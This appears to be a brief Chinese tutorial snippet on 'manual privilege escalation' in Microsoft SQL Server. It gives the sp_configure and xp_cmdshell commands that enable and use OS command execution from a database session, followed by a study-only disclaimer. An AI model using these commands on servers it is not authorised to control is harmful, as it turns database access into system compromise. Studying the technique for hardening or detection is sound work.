手工提权-mssql启用cmdshell

1
2
3
4
5
exec sp_configure 'show advanced options',1  //启用高级选项,0为关闭
RECONFIGURE //根据回显提示重新启动一下
exec sp_configure 'xp_cmdshell',1 //启用cmdshell,0为关闭
RECONFIGURE //根据回显提示重新启动一下
exec xp_cmdshell 'cmd命令'

声明:
本文章用于学习交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意本声明。

Disclaimer:
This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.